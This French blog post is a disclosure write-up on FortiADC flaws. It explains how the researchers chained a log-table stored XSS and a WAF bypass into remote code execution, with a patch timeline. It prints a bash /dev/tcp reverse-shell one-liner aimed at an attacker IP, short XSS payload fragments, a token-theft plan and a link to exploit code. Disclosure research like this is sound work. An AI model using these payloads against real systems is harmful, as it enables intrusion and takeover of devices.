Vivre hors de la page web : XSS persistant efficace dans l'espace vers RCE dans le FortiADC

Blog par Almas Zhurtanov, Senior Security Specialist et Tom Tervoort, Principal Security Specialist

Dans cet article, nos experts en sécurité Tom et Almas expliquent comment ils ont réussi à contourner les défenses côté client et serveur dans FortiADC, et à transformer un XSS prétendument inoffensif en RCE en utilisant de manière optimale un espace de charge utile extrêmement restreint.

Le mois dernier, Fortinet a corrigé une vulnérabilité XSS persistante et une vulnérabilité de contournement du WAF dans le Fortinet Application Delivery Controller. Cette vulnérabilité permettait à un attaquant distant non authentifié d'effectuer une attaque Script intersite (XSS) stockée via des champs HTTP dans les vues du journal des événements.

Bien que la découverte de la vulnérabilité XSS en elle-même ne soit pas très intéressante, les mesures défensives mises en œuvre ont considérablement augmenté la complexité de l'exploitation. Cela fait de ce XSS une bonne étude de cas sur le contournement des défenses côté client et côté serveur.

Fortinet Logo 1200px

Produits concernés :

  • FortiADC version 7.0.0 à 7.0.2
  • FortiADC version 6.2.0 à 6.2.3


Avis de Fortinet :

Présentation du produit et découverte initiale

Après avoir passé en revue les produits éligibles pour une recherche de vulnérabilité, l'équipe a sélectionné Fortinet Application Delivery Controller (FortiADC) comme sujet de recherche. La décision a été basée sur le fait que le produit avait un grand nombre de composants complexes, ce qui signifie que la surface d'attaque était également assez grande, et qu'une version d'essai de 30 jours était disponible sur AWS Marketplace. Selon Fortinet :

"FortiADC est un Application Delivery Controller (ADC) avancé qui garantit la disponibilité, la sécurité et l'optimisation des applications.
Le FortiADC inclut l'accélération des applications, le WAF, l'IPS, le SSLi, l'équilibrage de la charge des liens et l'authentification des utilisateurs dans une seule solution afin d'assurer la disponibilité, la performance et la sécurité dans une seule licence tout compris."
Fortinet 1

Après avoir déployé une instance du produit, ses composants ont été analysés. L'une des premières choses qui a été identifiée est la fonctionnalité dite "AWS Scripting" qui permet à un administrateur d'effectuer certaines tâches de gestion en téléchargeant des scripts Python et en les exécutant :

"FortiADC fournit la méthode d'exécution de n'importe quelle API AWS pour les utilisateurs - Les utilisateurs peuvent télécharger un script Python vers FortiADC (système > page AWS Scripting) avec un paramètre de groupe de trafic et exécuter le script sur le FortiADC auquel appartient son groupe de trafic."

En d'autres termes, cela signifie que les utilisateurs sont autorisés à exécuter des scripts Python arbitraires sur le serveur d'application. Qu'est-ce qui peut mal tourner ? Cette fonctionnalité peut être utilisée de manière abusive en téléchargeant et en exécutant le script suivant pour créer un shell inversé sur une machine contrôlée par l'attaquant.

import os ; os.system("bash -i >et /dev/tcp/<attacker-ip>/<port> 0>et1") 

Il a été décidé de ne pas signaler ce problème au fournisseur car il faisait partie de la fonctionnalité prévue à la disposition de l'administrateur, et il a été prévu que le fournisseur ne le considère pas comme une faille de sécurité. Néanmoins, étant donné que l'interface de gestion SSH du FortiADC s'est avérée assez restreinte et n'a fourni qu'un moyen d'interagir avec certains composants de l'application, l'obtention d'un accès au système d'exploitation pourrait faciliter une analyse plus approfondie de l'application. Il convient également de mentionner que l'application prête à l'emploi fonctionne en tant qu'utilisateur root.

L'exécution de commandes à distance est généralement considérée comme un Actifs critiques dans le cadre de la recherche de vulnérabilités. C'est pourquoi nous avons tenté d'identifier les moyens de la déclencher du point de vue des utilisateurs non authentifiés. Cependant, comme aucun problème d'authentification ou d'autorisation n'a été identifié, il a été décidé de passer de l'attaque de l'interface de gestion elle-même à l'identification des failles dans la façon dont le FortiADC traite les demandes de ressources derrière l'équilibreur de charge et le pare-feu d'application web (WAF). Pour ce faire, un simple serveur web a été déployé séparément et configuré pour être géré par l'équilibreur de charge intégré du FortiADC. Le composant WAF a également été activé pour le groupe d'équilibrage de charge correspondant. Une simple application web a été déployée sur le serveur web derrière l'équilibreur de charge, qui ne renvoie que les paramètres soumis avec les requêtes entrantes.

Fortinet 2

Il a rapidement été constaté que le composant WAF bloquait efficacement certaines des charges utiles malveillantes de base qui ont été testées.

Fortinet 3

L'inspection de la fonctionnalité "Log and Report" du FortiADC a révélé qu'elle enregistre toutes les requêtes entrantes et le trafic vers l'interface de gestion et toutes les ressources gérées par le FortiADC, ainsi que certains événements liés à la sécurité, et qu'elle les analyse dans des tableaux lisibles par l'homme.

Fortinet 4

Un fuzzing rapide a permis d'identifier la présence d'une vulnérabilité XSS dans les champs de cette table. Le champ en surbrillance dans la capture d'écran ci-dessous montre qu'il était possible d'injecter une balise de texte en gras (<b>).

Fortinet 5

Limites

Nous avons rapidement constaté que l'exploitation de cette vulnérabilité XSS était compliquée par le fait que les entrées de table ne pouvaient avoir qu'une longueur limitée et que tout ce qui se trouvait après le15e caractère était coupé à la fin. Dans des circonstances normales, cela pourrait être contourné en utilisant par exemple des noms DNS courts pour extraire du code supplémentaire de la ressource contrôlée par l'attaquant. Toutefois, cela n'a pas été possible en raison de la Politique de sécurité du contenu (CSP) restrictive qui a bloqué tout contenu provenant de domaines tiers.

Politique de sécurité du contenu : default-src 'self' ; style-src 'unsafe-inline' 'self' ; script-src 'self' 'unsafe-eval' 'unsafe-inline'

Une autre faille mineure, mais utile, a été identifiée peu après. Une version non modifiée du fichier JavaScript de l'application était disponible à l'adresse https://application-base/ui/js/all.js. L'examen du code a confirmé que les données contenues dans les champs étaient effectivement coupées, mais a également révélé que les tables étaient basées sur la bibliothèque DataTables(http://datatables.net).

Fortinet 7
Fortinet 8

Combinées ensemble, les restrictions suivantes ont empêché l'exploitation de cette vulnérabilité XSS :

  • 15 caractères par entrée de tableau.
  • 10 entrées par page.
  • Chaque entrée est évaluée séparément, puisque l'application ajoute automatiquement des balises de fermeture.
  • Cela signifie qu'il n'est pas possible d'ouvrir une balise sur le premier raw, de la fermer sur le dernier raw et de placer la charge utile au milieu. Chaque entrée doit commencer par une balise.
  • Cela donne 150 caractères par page pour la charge utile, ce qui est suffisamment important pour trouver une solution de contournement.


Cependant, pour obtenir l'exécution du code, des balises doivent être ajoutées. La plus petite balise doit avoir au moins 3 caractères, tandis que la balise <script> a une longueur de 8 caractères. Cela signifie qu'un espace de 30 à 80 caractères doit être consacré uniquement aux balises. De manière réaliste, seule la balise <script> peut être utilisée pour permettre à un XSS de faire quelque chose d'utile en raison des restrictions de taille de la charge utile. Pour clarifier, il y a bien sûr beaucoup d'autres formations alternatives pour exécuter du code, mais elles prennent beaucoup plus d'espace. Il ne reste donc que 70 caractères pour la charge utile. De plus, il est important que chaque entrée soit une déclaration Javascript/HTML valide et complète, car les balises sont automatiquement fermées à la fin de l'entrée. Cela signifie que la restriction de longueur n'est pas réellement de 70 caractères, mais plutôt de 10 déclarations distinctes de 7 caractères maximum chacune. Le CSP restrictif interdit le chargement de scripts externes, de sorte qu'il n'est possible d'exécuter que du code déjà présent sur la page web.


Contournement du WAF (CVE-2022-38381)

Dans de telles circonstances, la seule solution était de trouver un autre champ plus grand vulnérable au XSS, ou de trouver une charge utile suffisamment petite pour atteindre le résultat souhaité. Afin de trouver un champ restreint moins vulnérable au XSS, nous avons analysé les champs contrôlés par l'utilisateur qui étaient également vulnérables. Les entrées de lignes peuvent être développées pour afficher plus de détails sur l'entrée. Les données de l'enregistrement complet se présentent de la manière suivante.

Fortinet 9

Les paramètres illustrés sur la capture d'écran ci-dessus ont été altérés, ce qui a conduit à un résultat inattendu. Il s'est avéré que lorsque la version du protocole (HTTP/1.1) n'était pas présente dans la première ligne d'une requête, l'équilibreur de charge transmettait la requête à l'hôte cible, tandis que le WAF l'ignorait. Ceci est illustré dans les captures d'écran ci-dessous.

Fortinet 10

Lorsque la version du protocole est manquante, la demande est transmise à l'hôte cible avec le statut 200 OK sans déclencher le WAF.

Fortinet 11
Fortinet 12

Ce problème est résolu dans la nouvelle version de FortiADC.

Exploitation d'un XSS persistant (CVE-2022-38374)

Il s'est rapidement avéré qu'aucun autre endroit que les entrées de la table des logs n'était vulnérable. Cela signifie que la seule façon d'exploiter le XSS était de trouver une charge utile suffisamment petite mais aussi suffisamment complexe pour faire quelque chose d'utile.

Après de nombreuses réflexions, il a été décidé de procéder de la manière suivante :

Il serait possible d'insérer dans les restrictions de caractères une déclaration de la fonction qui cliquerait sur le bouton de la page suivante. Cela permettra de disposer de 10 entrées supplémentaires et un appel de fonction déjà défini n'occupera qu'une entrée pour passer à la page suivante si nécessaire.

Trouvez un autre paramètre contrôlé par l'utilisateur et reflété sur la page pour contenir la charge utile. Il n'est pas nécessaire qu'il soit vulnérable aux XSS.

Définissez une fonction pour récupérer la charge utile et l'exécuter.

Pour démontrer l'impact, la charge utile finale devrait voler le jeton de support de l'administrateur et envoyer la requête pour télécharger et exécuter un script Python (par exemple l'exemple de shell inversé inclus ci-dessus), réalisant ainsi l'Exécution de commande à distance souhaitée.

Fortinet 13

Une limitation supplémentaire a été rencontrée à ce stade : Les DataTables ont été chargées plus tôt dans le Processus que les boutons de pagination des tables. Il était donc nécessaire d'utiliser une charge utile qui ne s'exécuterait qu'après le chargement complet de la page. Cela a considérablement limité la liberté de choix, puisque le moyen le plus court d'y parvenir était d'utiliser la fonction d'underscore (_) et, avec les balises de script, d'obtenir une charge utile de 30 caractères.

_.delay(_=>$('.next').click())

Une autre solution permettant d'accéder aux balises sans utiliser 8 caractères pour la balise <script> consistait à utiliser le sélecteur JQuery déjà chargé dans la page pour accéder aux éléments de la page par leur nom.

$('ext').text()

Ainsi, en divisant la fonction delay en trois lignes avec la balise <ext>, puis en exécutant le code ci-dessus, on passait effectivement à la page suivante. Le seul problème à ce stade est de faire tenir la fonction eval dans les lignes restantes. C'est la raison pour laquelle la balise <ext> a été utilisée. L'idée était de rendre la charge utile aussi peu encombrante que possible. Notez que les lettres 'ext' sont utilisées à la fois pour construire le mot "text "et pour accéder au contenu de la balise, ce qui permet de réutiliser une seule variable à deux endroits.

Il en résulte le payload suivant, illustré schématiquement de la manière dont il apparaîtra dans le DataTable.

Fortinet 14

Cela se traduit par le code suivant :

x=$('ext').text() e=eval e(e(x))

Le contenu des balises <ext> qui contiennent la fonction de retard permettant de cliquer sur le bouton "next" a été fourni ci-dessus.

La charge utile placée sur les pages de journal suivantes utilise la même technique pour stocker la structure DataTables dans une variable, puis accéder à son contenu et l'évaluer. L'un des champs pouvant être utilisés pour fournir la charge utile de la deuxième étape (principale) est "HTTP Query", qui contient toutes les données envoyées dans un paramètre de requête GET. Sa taille est encore limitée et il ne peut pas contenir la totalité de la charge utile restante, mais il peut au moins contenir 400 caractères et, étant donné qu'il y a 10 entrées de ce type sur une seule page, c'est plus qu'assez d'espace pour télécharger le script, déclencher le RCE et obtenir un shell inversé. Étant donné que cette charge utile est transmise en tant que paramètre de requête GET, elle doit être codée en base64 avant la transmission et décodée en retour avant l'exécution.

Fortinet

Le code complet de l'exploit est disponible ici : https://github.com/azhurtanov/CVE-2022-38374

Le problème a été résolu dans la dernière version de FortiADC. L'avis est disponible à l'adresse suivante : https://www.fortiguard.com/psirt/FG-IR-22-232.


Calendrier

  • Avril 2022 - vulnérabilités identifiées
  • Juin 2022 - vulnérabilités divulguées à FortiNet dans le cadre de la divulgation responsable
  • Juin 2022 - vulnérabilités reconnues par le fournisseur
  • Août 2022 - les vulnérabilités sont corrigées
  • Octobre 2022 - publication de l'avis

Si vous avez des questions et/ou souhaitez entrer en contact avec les auteurs du blog, Contactez-nous à l'adresse cybersecurity@bureauveritas.com.